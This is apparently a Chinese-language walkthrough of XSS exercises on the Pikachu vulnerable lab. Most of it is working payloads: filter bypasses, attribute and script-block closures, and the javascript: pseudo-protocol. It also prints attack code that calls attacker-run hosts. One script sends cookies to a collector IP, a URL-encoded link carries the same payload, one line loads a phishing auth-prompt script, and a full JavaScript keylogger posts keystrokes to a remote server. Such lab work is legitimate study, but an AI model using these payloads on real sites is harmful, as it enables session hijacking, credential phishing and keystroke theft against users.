跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者向web页面插入恶意script代码,当用户浏览网页时,嵌入其中的恶意代码会被执行从而达到攻击的目的。
GET方式提交的XSS漏洞更加容易被利用,一般利用方式时直接将带有XSS的URL发送给目标。
F12 修改输入长度限制后
<script>alert(1)</script>抓包发现消息被url转义发送 构造闭合:
</p><script>alert(1)</script>留言板里输入
<script>alert(1)</script>通过dom获得输入后写入id=dom中。
' onclick=alert(1)>构成 <a href='' onclick=alert(1) >
构造a标签闭合
'onclick=alert(1)>其他payload
'><img src='#' onmouseover=alert(1)>payload不会在当前页面执行,管理员查看时会执行。
同样被过滤
尝试大小写绕过 <ScRIPt>alert(1)</SCRipt>注入成功
script被过滤可以考虑其他类型的payload <img src='#' onmouseover="alert(1)">htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。 预定义的字符是:
字符转义”"&&><<><>!:;scriptAAA 查看源码 发现<>被html转义
javascript:alert(1)成功
输入 ><script>alert(1)</script> <>被转义尝试javascript伪协议
javascript:alert(1)成功
查看源码发现输入在js代码块中 构造js闭合
'</script> <script>alert(1)</script>js恶意脚本
<script>document.location = 'http://113.54.243.174/pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookiee;</script>用户发送给服务器时就会记录下cookie并发送至XSS后台
XSS后台
若是get请求方式,用户只要点击带有脚本参数的url就会自动发送cookie。
http://127.0.0.1/pikachu-master/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%20%3D%20’http%3A%2F%2F113.54.243.174%2Fpikachu-master%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D’%20%2B%20document.cookiee%3B%3C%2Fscript%3E&submit=submit
参数在请求体中发送,无法把恶意代码嵌入到url中发送给用户。 攻击思路: 攻击者构建一个新的页面,页面功能为向存在XSS(post)漏洞的网页提交一个post请求,用户打开伪造的页面后恶意脚本获得用户cookie并向后台发送。 伪造界面代码: 用户访问后
向有XSS漏洞的网页注入恶意代码,用户每次访问页面时就会弹出一个认证框,输入的内容储存在攻击者的服务器上。 恶意代码:
<script src="http://192.168.80.1/pikachu-master/pkxss/xfish/fish.php"></script>同源策略:为了安全考虑,所有浏览器都规定了同源策略,两个不同域名之间不能用js相互操作。x.com域名下的javascript不能操作y.com下的对象。如果想要跨域操作必须由管理员配置。( header(“Acess-Control-Allow-Origin:x.com”) ) 以下标签加载特定类型资源不受同源策略影响
<script src = "..."> <img src = "..."> <link href= "..."> <iframe src= "..."> <script src="http://192.168.1.15/pikachu-master/pkxss/rkeypress/rk.js"></script>可以将192.168.1.15加载到本地运行 一般情况下插入这段代码后由于同源策略会请求失败,但攻击者可以将自己搭建的攻击地址设置为允许所有人跨域请求
恶意js代码记录用户键盘输入
function onkeypress() { var realkey = String.fromCharCode(event.keyCode); xl+=realkey; show(); } document.onkeypress = onkeypress; function show() { ajax = createAjax(); ajax.onreadystatechange = function () { if (ajax.readyState == 4) { if (ajax.status == 200) { var data = ajax.responseText; } else { alert("页面请求失败"); } } } var postdate = xl; ajax.open("POST", "http://192.168.1.15/pkxss/rkeypress/rkserver.php",true); ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); ajax.setRequestHeader("Content-length", postdate.length); ajax.setRequestHeader("Connection", "close"); ajax.send(postdate); }